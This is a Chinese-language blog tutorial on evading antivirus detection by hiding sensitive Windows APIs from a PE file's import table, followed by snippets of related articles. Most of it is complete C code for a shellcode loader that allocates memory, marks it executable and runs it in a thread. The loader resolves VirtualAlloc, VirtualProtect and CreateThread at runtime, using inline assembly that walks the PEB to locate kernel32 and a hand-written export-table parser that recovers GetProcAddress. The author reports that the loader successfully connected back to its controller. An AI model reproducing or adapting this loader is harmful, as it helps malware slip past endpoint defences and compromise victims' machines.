通过隐藏导入表的方式规避杀软

VSole2023-05-29 09:34:57

前言

在PE文件中,存在iat导入表,记录了PE文件使用的API以及相关的dll模块。

编译一个MessageBox文件,查看其导入表:

#include#include
int main(){    printf("hello world");    MessageBox(0, TEXT("hello world"), 0, 0);    return 0;}

可以看到使用了MessageBox这个API

杀软会对导入表进行查杀,如果发现存在恶意的API,比如VirtualAlloc,CreateThread等,就会认为文件是一个恶意文件。我们可以通过自定义API的方式隐藏导入表中的恶意API。

自定义API函数

FARPROC GetProcAddress(  [in] HMODULE hModule, 包含函数或变量的 DLL 模块的句柄  [in] LPCSTR  lpProcName 函数或变量名称);定义:typedef int (FAR WINAPI *FARPROC)();
HMODULE GetModuleHandleA(    LPCSTR lpModuleName     // 模块名称);                         // 成功返回句柄 失败返回NULL
HMODULE LoadLibraryA(    LPCSTR lpLibFileName // 一个dll文件);                         // 成功返回句柄 失败返回NULL

这里GetModuleHandle和LoadLibrary作用是一样的,获取dll文件。

通过以上函数自定义API。

#include#include
typedef int(WINAPI * pMessageBox) (
    HWND    hWnd,    LPCTSTR lpText,    LPCTSTR lpCaption,    UINT    uType    );
int main(){
    printf("hello world");    pMessageBox MyMessageBox = (pMessageBox)GetProcAddress(LoadLibrary("User32.dll"), "MessageBoxA");    MyMessageBox(0, TEXT("hello world"), 0, 0);    return 0;}

程序可以正常运行:

查看其导入表:

User32.dll和MessageBox都不存在。

实战测试

用创建进程的方式加载shellcode。

#include #include #include #include // 入口函数int wmain(int argc, TCHAR * argv[]) {
    int shellcode_size = 0; // shellcode长度    DWORD dwThreadId; // 线程ID    HANDLE hThread; // 线程句柄    DWORD dwOldProtect; // 内存页属性
    char buf[] = "";
    // 获取shellcode大小    shellcode_size = sizeof(buf);
    char * shellcode = (char *)VirtualAlloc(        NULL,        shellcode_size,        MEM_COMMIT,        PAGE_READWRITE // 只申请可读可写    );    // 将shellcode复制到可读可写的内存页中    CopyMemory(shellcode, buf, shellcode_size);
    // 这里开始更改它的属性为可执行    VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
    hThread = CreateThread(        NULL, // 安全描述符        NULL, // 栈的大小        (LPTHREAD_START_ROUTINE)shellcode, // 函数        NULL, // 参数        NULL, // 线程标志        &dwThreadId // 线程ID    );    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束    return 0;}

我们将这里敏感的API进行自定义:

//VirtualProtecttypedef BOOL(WINAPI * pVirtualProtect) (    LPVOID lpAddress,    SIZE_T dwSize,    DWORD  flNewProtect,    PDWORD lpflOldProtect);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(LoadLibrary("kernel32.dll"), "VirtualProtect");
//CreateThreadtypedef HANDLE(WINAPI * pCreateThread)(    LPSECURITY_ATTRIBUTES   lpThreadAttributes,    SIZE_T                  dwStackSize,    LPTHREAD_START_ROUTINE  lpStartAddress,    __drv_aliasesMem LPVOID lpParameter,    DWORD                   dwCreationFlags,    LPDWORD                 lpThreadId    );
pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");//VirtualAlloctypedef LPVOID (WINAPI *pVirtualAlloc)(    LPVOID lpAddress,    SIZE_T dwSize,    DWORD  flAllocationType,    DWORD  flProtect);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");

最终代码:

#include #include #include #include 
//自定义API
typedef BOOL(WINAPI * pVirtualProtect) (    LPVOID lpAddress,    SIZE_T dwSize,    DWORD  flNewProtect,    PDWORD lpflOldProtect);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");
typedef HANDLE(WINAPI * pCreateThread)(    LPSECURITY_ATTRIBUTES   lpThreadAttributes,    SIZE_T                  dwStackSize,    LPTHREAD_START_ROUTINE  lpStartAddress,    __drv_aliasesMem LPVOID lpParameter,    DWORD                   dwCreationFlags,    LPDWORD                 lpThreadId    );
pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");
typedef LPVOID (WINAPI *pVirtualAlloc)(    LPVOID lpAddress,    SIZE_T dwSize,    DWORD  flAllocationType,    DWORD  flProtect);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
// 入口函数int wmain(int argc, TCHAR * argv[]) {
    int shellcode_size = 0; // shellcode长度    DWORD dwThreadId; // 线程ID    HANDLE hThread; // 线程句柄    DWORD dwOldProtect; // 内存页属性/* length: 800 bytes */
    char buf[] = "";
    // 获取shellcode大小    shellcode_size = sizeof(buf);
    char * shellcode = (char *)MyVirtualAlloc(        NULL,        shellcode_size,        MEM_COMMIT,        PAGE_READWRITE // 只申请可读可写    );    // 将shellcode复制到可读可写的内存页中    CopyMemory(shellcode, buf, shellcode_size);
    // 这里开始更改它的属性为可执行    MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
    hThread = MyCreateThread(        NULL, // 安全描述符        NULL, // 栈的大小        (LPTHREAD_START_ROUTINE)shellcode, // 函数        NULL, // 参数        NULL, // 线程标志        &dwThreadId // 线程ID    );    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束    return 0;}

可以成功上线:

查看导入表:

可以看到,自定义的三个API已经看不到了,但是GetProcAddress和GetModuleHandle也可能会作为杀软识别的对象。

深入隐藏

通过手动获取dll文件的方式,获取这两个函数的地址。

大致流程:

  1. 找到kernel32.dll的地址
  2. 遍历啊kernel32.dll的导入表,找到GetProcAddress的地址
  3. 使用GetProcAddress获取LoadLibrary函数的地址
  4. 然后使用 LoadLibrary加载DLL文件
  5. 使用 GetProcAddress查找某个函数的地址
  6. ### 获取kernel32.dll的地址
  7. 这里使用汇编获取,先贴代码。
DWORD GetKernel32Address() {DWORD dwKernel32Addr = 0;_asm {    mov eax, fs: [0x30]    mov eax, [eax + 0x0c]    mov eax, [eax + 0x14]    mov eax, [eax]    mov eax, [eax]    mov eax, [eax + 0x10]    mov dwKernel32Addr, eax } return    dwKernel32Addr;}

1.这里有两个关键的结构,TEB(线程环境块)和PEB(进程环境块)。PEB结构存储着整个进程的信息。而PEB结构又存放在TEB中。

这两个结构指针都存放在fs寄存器中,fs:[0x30]是PEB fs:[0x18]是TEB。

接下来再分析上面代码的具体过程:

mov eax, fs: [0x30]指向PEB结构

mov eax, [eax + 0xc]0xc处存放者LDR指针它指向一个_PEB_LDR_DATA结构

mov eax, [eax + 0x14]指向LDR指针中的InMemoryOrderModuleList链表

这里面有三个链表,这三个列表中的模块是一样的,只是顺序不同。

mov eax, [eax]mov eax, [eax]

因为kernel32的位置是第三个,第一个是InMemoryOrderModuleList本身,向下两次,就找到了kernel32(这块还不是很理解)。

最后就是获取kernel32的基址:

mov eax, [eax + 0x10]InMemoryOrderModuleList 再偏移0x10,指向dllbase


### 获取GetProcAddress

不做叙述,有兴趣的可以自行学习,代码如下:

DWORD RGetProcAddress() { //获取kernel32的地址 DWORD dwAddrBase = GetKernel32Address(); //获取Dos头 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase; //获取Nt头 Nt头=dll基址+Dos头 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase); //数据目录表                            扩展头 数据目录表 + 导出表    定位导出表 PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory +IMAGE_DIRECTORY_ENTRY_EXPORT; //导出表 //导出表地址 PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress); //函数总数 DWORD dwFunCount = pExport->NumberOfFunctions; //函数名称数量 DWORD dwFunNameCount = pExport->NumberOfNames; //函数地址 PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase); //函数名称地址 PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase); //序号表 PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals+ dwAddrBase);  //遍历函数总数  for (size_t i = 0; i < dwFunCount; i++)    {     //判断函数地址是否存在       if (!pAddrOfFun[i])      {             continue;         }                  //通过函数地址遍历函数名称地址,获取想要的函数      DWORD dwFunAddrOffset = pAddrOfFun[i];      for (size_t j = 0; j < dwFunNameCount; j++)      {            if (pAddrOfOrdinals[j] == i)            {                DWORD dwNameOffset = pAddrOfNames[j];               char * pFunName = (char *)(dwAddrBase + dwNameOffset);              if (strcmp(pFunName,"GetProcAddress")==0)              {                    return dwFunAddrOffset + dwAddrBase;             }         }     } }}

## 完整代码

#include #include #include #include DWORD GetKernel32Address() { DWORD dwKernel32Addr = 0; _asm {     mov eax, fs: [0x30]             mov eax, [eax + 0x0c]             mov eax, [eax + 0x14]             mov eax, [eax]             mov eax, [eax]             mov eax, [eax + 0x10]             mov dwKernel32Addr, eax } return  dwKernel32Addr;}DWORD RGetProcAddress() { //获取kernel32的地址 DWORD dwAddrBase = GetKernel32Address(); //获取Dos头 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase; //获取Nt头 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase); //数据目录表                         扩展头 数据目录表 + 导出表    定位导出表 PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; //导出表 //导出表地址 PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress); //函数总数 DWORD dwFunCount = pExport->NumberOfFunctions; //函数名称数量 DWORD dwFunNameCount = pExport->NumberOfNames; //函数地址 PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase); //函数名称地址 PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase); //序号表 PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + dwAddrBase); for (size_t i = 0; i < dwFunCount; i++) {     if (!pAddrOfFun[i]) {         continue;     }     DWORD dwFunAddrOffset = pAddrOfFun[i];     for (size_t j = 0; j < dwFunNameCount; j++) {         if (pAddrOfOrdinals[j] == i) {             DWORD dwNameOffset = pAddrOfNames[j];             char * pFunName = (char *)(dwAddrBase + dwNameOffset);             if (strcmp(pFunName, "GetProcAddress") == 0) {                 return dwFunAddrOffset + dwAddrBase;             }         }     } }}//自定义API//获取kernel32.dll地址HMODULE hKernel32 = (HMODULE)GetKernel32Address();//自定义GetProcAddresstypedef FARPROC(WINAPI *pGetProcAddress)( _In_ HMODULE hModule, _In_ LPCSTR lpProcName );//动态获取GetProcAddresspGetProcAddress MyGetProcAddress = (pGetProcAddress)RGetProcAddress();//自定义GetModuleHandletypedef HMODULE(WINAPI* pGetModuleHandle)( _In_ LPCSTR lpLibFileName );pGetModuleHandle MyGetModuleHandle = (pGetModuleHandle)MyGetProcAddress(hKernel32, "GetModuleHandle");//自定义VirtualProtecttypedef BOOL(WINAPI * pVirtualProtect) ( LPVOID lpAddress, SIZE_T dwSize, DWORD  flNewProtect, PDWORD lpflOldProtect);pVirtualProtect MyVirtualProtect = (pVirtualProtect)MyGetProcAddress(hKernel32, "VirtualProtect");//自定义CreateThreadtypedef HANDLE(WINAPI * pCreateThread)( LPSECURITY_ATTRIBUTES   lpThreadAttributes, SIZE_T                  dwStackSize, LPTHREAD_START_ROUTINE  lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD                   dwCreationFlags, LPDWORD                 lpThreadId  );pCreateThread MyCreateThread = (pCreateThread)MyGetProcAddress(hKernel32,"CreateThread");//自定义VirtualAlloctypedef LPVOID (WINAPI *pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD  flProtect);pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)MyGetProcAddress(hKernel32, "VirtualAlloc");// 入口函数int wmain(int argc, TCHAR * argv[]) { int shellcode_size = 0; // shellcode长度 DWORD dwThreadId; // 线程ID HANDLE hThread; // 线程句柄 DWORD dwOldProtect; // 内存页属性 char buf[] = ""; // 获取shellcode大小 shellcode_size = sizeof(buf); char * shellcode = (char *)MyVirtualAlloc(         NULL,         shellcode_size,         MEM_COMMIT,         PAGE_READWRITE // 只申请可读可写 ); // 将shellcode复制到可读可写的内存页中 CopyMemory(shellcode, buf, shellcode_size); // 这里开始更改它的属性为可执行 MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); hThread = MyCreateThread(         NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID ); WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束 return 0;}

成功上线:

查看导入表,敏感API都已隐藏:


char函数getprocaddress
本作品采用《CC 协议》,转载必须注明作者和本文链接
shellcode编写探究
2022-06-09 15:34:57
前言shellcode是不依赖环境,放到任何地方都可以执行的机器码。shellcode的应用场景很多,本文不研究shellcode的具体应用,而只是研究编写一个shellcode需要掌握哪些知识。要使用字符串,需要使用字符数组。所以我们需要用到 LoadLibrary 和 GetProcAddress 这两个函数,来动态获取系统API的函数指针。
前言在PE文件中,存在iat导入表,记录了PE文件使用的API以及相关的dll模块。可以看到使用了MessageBox这个API杀软会对导入表进行查杀,如果发现存在恶意的API,比如VirtualAlloc,CreateThread等,就会认为文件是一个恶意文件。自定义API函数FARPROC GetProcAddress;定义:typedef int ();HMODULE LoadLibraryA; // 成功返回句柄 失败返回NULL. 这里GetModuleHandle和LoadLibrary作用是一样的,获取dll文件。HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );printf; pMessageBox MyMessageBox = GetProcAddress; MyMessageBox; return 0;}. 程序可以正常运行:查看其导入表:User32.dll和MessageBox都不存在。实战测试用创建进程的方式加载shellcode。
概述该样本是来自于VirusShare网站提供,于2022年3月15日在VirusTotal上被首次提交。
本文从 dll 注入技术、msf migrate 模块剖析、检测思路等方面展开说明。
几乎所有Win32程序都会加载ntdll.dll和kernel32.dll这两个基础的动态链接库。64位系统首先通过选择字GS在内存中找到当前存放着指向当前线程环境块TEB。进程环境块中偏移位置为0x18的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。模块初始化链表 InInitializationOrderModuleList中按顺序存放着 PE 装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll,第二个链表结点就是 kernel32.dll。从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头。
进程注入的探索
2022-07-29 08:22:06
0x01 简单描述进程注入就是给一个正在运行的程序开辟一块内存,把shellcode放入内存,然后用一个线程去执行shellcode。
进程隐藏技术
2021-12-08 16:44:25
次实现是在WIN7 X86系统上进行,实验要达到的目的就是实现进程的隐藏,以让任务管理器查不到要隐藏的进程。这里要隐藏的程序是一个简单的HelloWord弹窗程序,程序名是demo.exe。
常规api创建进程通过常用的api来创建进程是常规启动进程的方式,最常用的几个api有WinExec、ShellExecute、CreateProcess,我们一个一个来看一下WinExec首先是WinExec,这个api结构如下,这个api只能够运行exe文件
因此参考了《黑客免杀攻防》中的代码对DLL型壳编写的结构进行了一次归纳整理,并附上相应代码解析。
如何调包Win32API函数?其实就是HookPE文件自己的IAT表。
VSole
网络安全专家